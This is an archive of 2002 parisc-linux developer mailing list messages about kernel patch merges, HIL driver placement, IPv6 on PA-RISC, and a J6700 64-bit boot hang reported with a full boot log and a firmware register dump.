Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16649

yay, Linus accepted another patchbomb.

we're down to some 370k of diff vs his tree.  here's how it breaks down:

drivers/hil (pending discussion of where to move it, etc):
-rw-r--r--    1 willy    willy      127144 Nov  3 19:51 parisc-hil.diff

drivers/video (helge is discussing this with James Simmons):
-rw-r--r--    1 willy    willy      162128 Nov  3 19:49 parisc-video.diff

drivers/scsi (richard/rbrad/grant will take care of this):
-rw-r--r--    1 willy    willy       44026 Nov  3 20:18 parisc-scsi.diff

everything else (my responsibility):
-rw-r--r--    1 willy    willy       35109 Nov  3 20:18 tmp

Looking forward to the 2.5.46 merge ;-)

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dimitris Zilaskos <dzila@tassadar.physics.auth.gr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ip6tables problem
Date: Mon, 4 Nov 2002 10:03:57 +0200 (EET)
Lines: 27
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0211040957290.30489-100000@tassadar.physics.auth.gr>
References: <Pine.LNX.4.44.0211032348580.24848-100000@gfrw1044.bocc.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621880 16429 80.91.229.3 (22 Nov 2014 02:04:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:40 +0000 (UTC)
Cc: Grant Grundler <grundler@dsl2.external.hp.com>,
	"BUCH-PEDERSEN,LEIF (HP-France,ex1)" <leif_buch-pedersen@hp.com>,
	"'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: Jochen Friedrich <jochen@scram.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  4 01:04:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tassadar.physics.auth.gr (tassadar.physics.auth.gr [155.207.123.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id C51F94829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Nov 2002 01:04:14 -0700 (MST)
Original-Received: from localhost (dzila@localhost)
	by tassadar.physics.auth.gr (8.11.6/8.11.6) with ESMTP id gA483vg30669;
	Mon, 4 Nov 2002 10:03:57 +0200
In-Reply-To: <Pine.LNX.4.44.0211032348580.24848-100000@gfrw1044.bocc.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16650

On Sun, 3 Nov 2002, Jochen Friedrich wrote:
>
> However, i'm not using the ip6tables on that boxes as all three of them
> are behind dedicated packet filters...

 I have built and use 2.4.19-pa22 kernels with the latest stable usagi
patch applied, with only one reject on some network driver I do not
possess . I had to disable many netfilter for ipv6 options in order for
the kernel to compile . And those that I had enabled dont seem to work :)
 Currently using ipv6 on two 715/33 and one 715/50 ...and it works
perfectly:)

 Regards ,

--
=============================================================================

Dimitris Zilaskos

Department of Physics @ Aristotle Univercity of Thessaloniki , Greece
PGP key : http://tassadar.physics.auth.gr/~dzila/pgp_public_key.asc
          http://egnatia.ee.auth.gr/~dzila/pgp_public_key.asc
MD5sum  : 4f84f3f53cb046008b4abcb2a092d28d  pgp_public_key.asc
=============================================================================




From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Anybody got a 74x workstation?
Date: Mon, 4 Nov 2002 09:10:40 +0000
Lines: 11
Approved: news@gmane.org
Message-ID: <20021104091040.GJ10649@sleepie.demon.co.uk>
References: <20021103014448.P20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621880 16431 80.91.229.3 (22 Nov 2014 02:04:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  4 02:13:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from thinkpad.home (pc3-hem11-4-cust111.bre.cable.ntl.com [213.107.179.111])
	by dsl2.external.hp.com (Postfix) with ESMTP id DA17E4829
	for <parisc-linux@parisc-linux.org>; Mon,  4 Nov 2002 02:13:11 -0700 (MST)
Original-Received: by thinkpad.home (Postfix, from userid 1000)
	id 707679E7F2; Mon,  4 Nov 2002 09:10:40 +0000 (GMT)
Content-Disposition: inline
In-Reply-To: <20021103014448.P20749@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16651

On Sun, Nov 03, 2002 at 01:44:48AM +0000, Matthew Wilcox wrote:
> 
> I just noticed that we only have a 742 in the hardware database... anyone
> got a 743, 744, 745, 747 or 748 workstation they could add?
> http://hwdb.parisc-linux.org/add.php3?type=machine

I have a 743 vme board, will add.

Richard



From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Placement of hil drivers
Date: Mon, 4 Nov 2002 10:56:49 +0100
Lines: 49
Approved: news@gmane.org
Message-ID: <BC87909C-EFDB-11D6-8FC8-0030656F07A2@esiee.fr>
References: <20021103231849.D20749@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v546)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621881 16434 80.91.229.3 (22 Nov 2014 02:04:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Nov  4 02:56:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 552F54829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Nov 2002 02:56:57 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id F0E6949C5B; Mon,  4 Nov 2002 10:56:52 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id 98D5B49BDF; Mon,  4 Nov 2002 10:56:49 +0100 (CET)
In-Reply-To: <20021103231849.D20749@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.546)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16652

Le lundi, 4 nov 2002, =E0 00:18 Europe/Paris, Matthew Wilcox a =E9crit :

> On Sun, Nov 03, 2002 at 10:31:32PM +0100, Thibaut VARENE wrote:
>> That's not true, I've worked hard enough on 2.5 config system, and
>> especially on HIL, to deny such statement ;^)
>
> OK, it's nowhere to be found in 2.5.45 ;-)  I guess this change got=20
> lost
> during the Kconfig transition.
Well yes indeed. I guess I should read _all_ my mails before answering=20=

one, when coming back from vacation :)

I saw we switched to KConfig, therefore we lost all the changes made to=20=

Config.[in|help] files, which is too bad since there were numerous.

I'll try to merge these changes to the new KConfig scheme ASAP.
>
>> AFAICR, I already have said when we merged 2.4 config files into 2.5=20=

>> that
>> HIL driver files and config may need review.
>>
>> It looks like time has come for such review.
>
> Certainly, that was what i was starting to do when i noticed nothing=20=

> was
> including the Kconfig stuff in drivers/hil ... and that no Makefile =
was
> linking drivers/hil.  So it's not _just_ the Kconfig changes that =
broke
> this.
ok
>
>> I would like to hear from Helge Deller too.
>
> Yep, and Brian Julin... at least to hear that they don't care where
> these drivers are put.
indeed =3D)
>
>
Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:25:16 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Zahorik <matt@hottub.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J6700 64-bit hang on boot
Date: Tue, 5 Nov 2002 09:10:55 -0800 (PST)
Lines: 506
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.40.0211050848330.17389-100000@hottub>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621881 16439 80.91.229.3 (22 Nov 2014 02:04:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:04:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Nov  5 10:12:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hottub.hottub.org (hottub.org [66.60.164.74])
	by dsl2.external.hp.com (Postfix) with ESMTP id 469454829
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Nov 2002 10:12:44 -0700 (MST)
Original-Received: by hottub.hottub.org (Postfix, from userid 1100)
	id 159A3213BD; Tue,  5 Nov 2002 09:10:56 -0800 (PST)
Original-Received: from localhost (localhost [127.0.0.1])
	by hottub.hottub.org (Postfix) with ESMTP id 0294E213BB
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Nov 2002 09:10:56 -0800 (PST)
X-X-Sender: matt@hottub
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16653

I've just compiled 2.4.19-pa24 as an SMP 64-bit kernel and it hangs on
boot.

This is a J6700.  Kernel was compiled with the binutils/gcc 3.0 from
ftp.p-l.org/unofficial-debs/ (not 3.0.4)

The 32-bit UP and SMP kernels don't seem to hang, at least it didn't
happen during boot nor kernel compilation.  I simply checked on 64-bit
(without 32-bit PDC) and make clean/dep/vmlinux/modules/modules_install
moved it into place and rebooted.

Tried twice, hung at the same place [right after/during setserial]

Machine is back up now on the 32-bit SMP kernel without problems...

Given the machine has 16G of RAM I'd like to use 64-bit (:

Any pointers?

Thanks!

- Matt

-- snip kernel boot log --
Linux version 2.4.19-pa24 (root@debian-j6700) (gcc version 3.0) #2 SMP Tue Nov 5 11:13:41 EST 2002
FP[0] enabled: Rev 1 Model 19
The 64-bit Kernel has started...
Determining PDC firmware type: System Map.
model 00005dd0 00000491 00000000 00000002 78074db1 100000f0 00000008 000000b2 000000b2
vers  00000202
CPUID vers 19 rev 6 (0x00000266)
capabilities 0x7
model 9000/785/J6700
Memory Ranges:
 0) Start 0x0000000000000000 End 0x00000000efffffff Size   3840 Mb
 1) Start 0x0000000100000000 End 0x00000003ffffffff Size  12288 Mb
Total Memory: 16128 Mb
pagetable_init
On node 0 totalpages: 4194304
zone(0): 4194304 pages.
zone(1): 0 pages.
zone(2): 0 pages.
LCD display at fffffff0f05d0008,fffffff0f05d0000 registered
Kernel command line: root=/dev/sda4 HOME=/ console=ttyS0 TERM=vt102
palo_kernel=2/vmlinux
Console: colour dummy device 160x64
Calibrating delay loop... 1497.49 BogoMIPS
Memory: 16116144k available
Dentry cache hash table entries: 131072 (order: 9, 2097152 bytes)
Inode cache hash table entries: 131072 (order: 9, 2097152 bytes)
Mount-cache hash table entries: 131072 (order: 9, 2097152 bytes)
Buffer-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Page-cache hash table entries: 262144 (order: 9, 2097152 bytes)
Searching for devices...
Found devices:
1. Astro BC Runway Port (12) at 0xfffffffffed00000 [10], versions 0x582, 0x0, 0xb
2. Elroy PCI Bridge (13) at 0xfffffffffed30000 [10/0], versions 0x782, 0x0, 0xa
3. Elroy PCI Bridge (13) at 0xfffffffffed34000 [10/2], versions 0x782, 0x0, 0xa
4. Elroy PCI Bridge (13) at 0xfffffffffed38000 [10/4], versions 0x782, 0x0, 0xa
5. Elroy PCI Bridge (13) at 0xfffffffffed3c000 [10/6], versions 0x782, 0x0, 0xa
6. Duet W2 (0) at 0xfffffffffffa0000 [32], versions 0x5dd, 0x0, 0x4
7. Duet W2 (0) at 0xfffffffffffa2000 [34], versions 0x5dd, 0x0, 0x4
8. Memory (1) at 0xfffffffffed10200 [49], versions 0xa, 0x0, 0x9
CPU(s): 2 x PA8700 (PCX-W2) at 750.000000 MHz
SBA found Astro 2.1 at 0xfffffffffed00000
lba version TR4.0 (0x5) found at 0xfffffffffed30000
lba version TR4.0 (0x5) found at 0xfffffffffed34000
lba version TR4.0 (0x5) found at 0xfffffffffed38000
lba version TR4.0 (0x5) found at 0xfffffffffed3c000
POSIX conformance testing by UNIFIX
FP[1] enabled: Rev 1 Model 19
SMP: Total 2 of 2 processors activated (2995.00 BogoMIPS noticed).
Waiting on wait_init_idle (map = 0x2)
All processors have done init_idle
Linux NET4.0 for Linux 2.4
Based upon Swansea University Computer Society NET3.039
Initializing RT netlink socket
Soft power switch enabled, polling @ 0xfffffff0f0400804.
SuperIO: Found NS87560 Legacy I/O device at 00:0e.1 (IRQ 128)
SuperIO: Serial port 1 at 0x3f8
SuperIO: Serial port 2 at 0x2f8
SuperIO: Parallel port at 0x378
SuperIO: Floppy controller at 0x3f0
SuperIO: ACPI at 0x7e0
SuperIO: USB regulator enabled
parport0: PC-style at 0x378, irq 197 [PCSPP(,...)]
Performance monitoring counters enabled for Duet W2
Starting kswapd
Journalled Block Device driver loaded
STI GSC/PCI graphics driver version 0.9
pty: 256 Unix98 ptys configured
Serial driver version 5.05c (2001-07-08) with MANY_PORTS SHARE_IRQ SERIAL_PCI enabled
ttyS00 at port 0x03f8 (irq = 195) is a 16550A
ttyS01 at port 0x02f8 (irq = 196) is a 16550A
lp0: using parport0 (interrupt-driven).
Generic RTC Driver v1.02 05/27/1999 Sam Creasey (sammy@oh.verio.com)
Uniform Multi-Platform E-IDE driver Revision: 6.31
ide: Assuming 33MHz system bus speed for PIO modes; override with idebus=xx
NS87415: IDE controller on PCI bus 00 dev 70
NS87415: chipset revision 3
NS87415: not 100% native mode: will probe irqs later
    ide0: BM-DMA at 0x0a00-0x0a07, BIOS settings: hda:pio, hdb:pio
    ide1: BM-DMA at 0x0a08-0x0a0f, BIOS settings: hdc:pio, hdd:pio
hda: CD-224E, ATAPI CD/DVD-ROM drive
ide0 at 0x1f0-0x1f7,0x3f6 on irq 199
hda: ATAPI 24X CD-ROM drive, 128kB Cache
Uniform CD-ROM driver Revision: 3.12
RAMDISK driver initialized: 16 RAM disks of 4096K size 1024 blocksize
loop: loaded (max 8 devices)
Linux Tulip driver version 0.9.15-pre11 (May 11, 2002)
tulip0: no phy info, aborting mtable build
tulip0:  MII transceiver #1 config 1000 status 782d advertising 01e1.
eth0: Digital DS21143 Tulip rev 65 at 0x1000, 00:30:6E:1B:9B:1D, IRQ 130.
SCSI subsystem driver Revision: 1.00
sym53c8xx: at PCI bus 0, device 15, function 0
sym53c8xx: 53c896 detected
sym53c8xx: at PCI bus 0, device 15, function 1
sym53c8xx: 53c896 detected
sym53c896-0: rev 0x7 on pci bus 0 device 15 function 0 irq 129
sym53c896-0: ID 7, Fast-40, Parity Checking
sym53c896-0: handling phase mismatch from SCRIPTS.
sym53c896-1: rev 0x7 on pci bus 0 device 15 function 1 irq 129
sym53c896-1: ID 7, Fast-40, Parity Checking
sym53c896-1: handling phase mismatch from SCRIPTS.
scsi0 : sym53c8xx-1.7.3c-20010512
scsi1 : sym53c8xx-1.7.3c-20010512
  Vendor: FUJITSU   Model: MAJ3364MC         Rev: HP12
  Type:   Direct-Access                      ANSI SCSI revision: 02
  Vendor: FUJITSU   Model: MAJ3364MC         Rev: HP12
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi1, channel 0, id 5, lun 0
Attached scsi disk sdb at scsi1, channel 0, id 6, lun 0
sym53c896-1-<5,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 31)
SCSI device sda: 71132960 512-byte hdwr sectors (36420 MB)
Partition check:
 sda: sda1 sda2 sda3 sda4
sym53c896-1-<6,*>: FAST-20 WIDE SCSI 40.0 MB/s (50.0 ns, offset 31)
SCSI device sdb: 71132960 512-byte hdwr sectors (36420 MB)
 sdb: unknown partition table
mice: PS/2 mouse device common for all mice
HP SDC: No SDC found.
HP SDC MLC: Registering the System Domain Controller's HIL MLC.
HP SDC MLC: Request for raw HIL ISR hook denied
md: linear personality registered as nr 1
md: raid0 personality registered as nr 2
md: raid1 personality registered as nr 3
md: raid5 personality registered as nr 4
raid5: measuring checksumming speed
   8regs     :  3465.200 MB/sec
   8regs_prefetch:  2782.000 MB/sec
   32regs    :  2822.000 MB/sec
   32regs_prefetch:  2659.600 MB/sec
raid5: using function: 8regs (3465.200 MB/sec)
md: md driver 0.90.0 MAX_MD_DEVS=256, MD_SB_DISKS=27
md: Autodetecting RAID arrays.
md: autorun ...
md: ... autorun DONE.
NET4: Linux TCP/IP 1.0 for NET4.0
IP Protocols: ICMP, UDP, TCP, IGMP
IP: routing cache hash table of 16384 buckets, 768Kbytes
TCP: Hash tables configured (established 32768 bind 65536)
NET4: Unix domain sockets 1.0/SMP for Linux NET4.0.
EXT3-fs: INFO: recovery required on readonly filesystem.
EXT3-fs: write access will be enabled during recovery.
kjournald starting.  Commit interval 5 seconds
EXT3-fs: recovery complete.
EXT3-fs: mounted filesystem with ordered data mode.
VFS: Mounted root (ext3 filesystem) readonly.
Freeing unused kernel memory: 306k freed
INIT: version 2.84 booting
Activating swap.
Adding Swap: 2097136k swap-space (priority -1)
Checking root file system...
fsck 1.27 (8-Mar-2002)
/dev/sda4: clean, 34219/2431680 files, 203484/4862976 blocks
EXT3 FS 2.4-0.9.17, 10 Jan 2002 on sd(8,4), internal journal
System time was Tue Nov  5 16:42:33 UTC 2002.
Setting the System Clock using the Hardware Clock as reference...
System Clock set. System local time is now Tue Nov  5 16:40:50 UTC 2002.
Calculating module dependencies... done.
Loading modules:
Checking all file systems...
fsck 1.27 (8-Mar-2002)
/dev/sda2: clean, 20/24384 files, 17459/97280 blocks
Setting kernel variables.
Loading the saved-state of the serial devices...
Cannot set serial info: Device or resource busy
/dev/ttyS0 at 0  [ hangs here ]
-- snip kernel boot log --

-- snip ser pim --
Main Menu: Enter command > ser pim

PROCESSOR PIM INFORMATION

-----------------  Processor 0 HPMC Information ------------------

Timestamp =
  Sun Nov  3 04:40:29 GMT 2002    (20:02:11:03:04:40:29)

HPMC Chassis Codes = 2cbf0  2500b  2cbfb

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  000000001034bda0  00000000000f4000
04-07   000000004fd4a350  0000000000000010  000000004fd4a000  0000000000000000
08-11   0000000000000002  000000004fd4a00c  000000004fd4a050  0000000010323010
12-15   0000000000000000  0000000010376c08  00000000102d2000  0000000000000038
16-19   000000000000000f  00000000103234d4  0000000010323010  00000000000f423f
20-23   000000000000000f  00000000f4005014  0000000000000001  00000000f4005000
24-27   00000000000f423f  00000000000bb800  0000000000000001  00000000102f0010
28-31   0000000000000000  7e11d60000001d4c  000000004fd60b00  0000000010201f40

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  00000000000000c0  0000000000000002
12-15   0000000000000000  0000000000000000  0000000000105000  00000000ffffffff
16-19   0000001900b79c56  0000000000000000  000000001034be68  000000000ea00013
20-23   00000000a607ffd0  c000000001405014  000000ff0004fe0d  0000000080000000
24-27   000000000030b000  000000000030b000  000000009fa16636  00000000a1fb4654
28-31   0000000006602606  0000000006602606  000000004fd60000  00000000103a0000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x000000001034be6c
Check Type                   = 0x20000000
CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030103b
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x000000fff4005014
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  bd7d0898784bbae6  22ee19cc8bb0128a  78b88f0551920780
04-07   00001e8452694064  000000785614420c  00000000000e4de0  a8b315de3ac13662
08-11   891432eb620082d0  aa5ecbbd509a1352  85b867380e42abe0  2542db8bb4ad0418
12-15   1c9b2416bb93c48a  aeb0c6c54d144184  9249b4c2aa8cf112  8e1729e04d109010
16-19   2d0f11b663da7032  01153c00299b3142  03867492cd738f04  8833a120978a88c8
20-23   0edc76a0e232a402  80f2eeedb49a1482  1c081cf4b8824b08  22c43ef48e0e320c
24-27   75ae488380099214  5404242512500000  b21fc08801b81560  8346a5288dcd5a24
28-31   2618b9a49b48ddcc  ad989afc19d95f18  15139400c30a5a2e  900d7751fd1a1d9e


'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81041008000000
Available Memory             = 0x0000000400000000
CPU Diagnose Register 2      = 0x0202000000000004
CPU Status Register 0        = 0x2040c20000000000
CPU Status Register 1        = 0x8002000000000000
SADD LOG                     = 0xc10080fff4005014
Read Short LOG               = 0xc18080fff4005014
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0x4b97000082e02058
RUN_DATA_LOW                 = 0xd2f91bec8338201a
RUN_CTRL                     = 0x0000165800002a58
RUN_ADDR                     = 0xc13ff0f0f005b1a8
System Responder Path        = 0x00ffffff0a000f00


HPMC PIM Analysis Information:

Timestamp =
  Sun Nov  3 04:40:29 GMT 2002    (20:02:11:03:04:40:29)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 bytes:

A Data I/O Fetch Timeout occurred while CPU 0 was
requesting information from a device at the path 10/0/15/0 (built-in PCI device).


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not log
any additional information about the HPMC.

-----------------  Processor 0 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000


-----------------  Processor 0 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000


-----------------  Processor 1 HPMC Information ------------------

Timestamp =
  Sun Nov  3 04:40:29 GMT 2002    (20:02:11:03:04:40:29)

HPMC Chassis Codes = 2cbf0  25108  2cbf1  2cbfc

General Registers 0 - 31
00-03   0000000000000000  0000001900aa4059  0000000000000000  0000000000000000
04-07   0000000000001e23  fffffff0f0400008  00000000000000fa  fffffff0f0002f34
08-11   0000000000000008  0000000000000000  000000000000000a  fffffff0f00015e0
12-15   00000000000000f2  0000000000000001  0000000000000001  00000000000000f3
16-19   0000000002020202  0000000000000002  fffffff0f000016c  fffffff0f04120d1
20-23   0000000000000000  fffffff0f04120d0  0000000000000000  0000000000000000
24-27   0000000000000043  fffffff0f04120c0  fffffff0f0400880  fffffff0f0412000
28-31   0000000000000000  fffffff0f040af80  fffffff0f040af90  fffffffffffffff0

Control Registers 0 - 31
00-03   000000007fffffff  0000000000000000  0000000000000000  0000000000000000
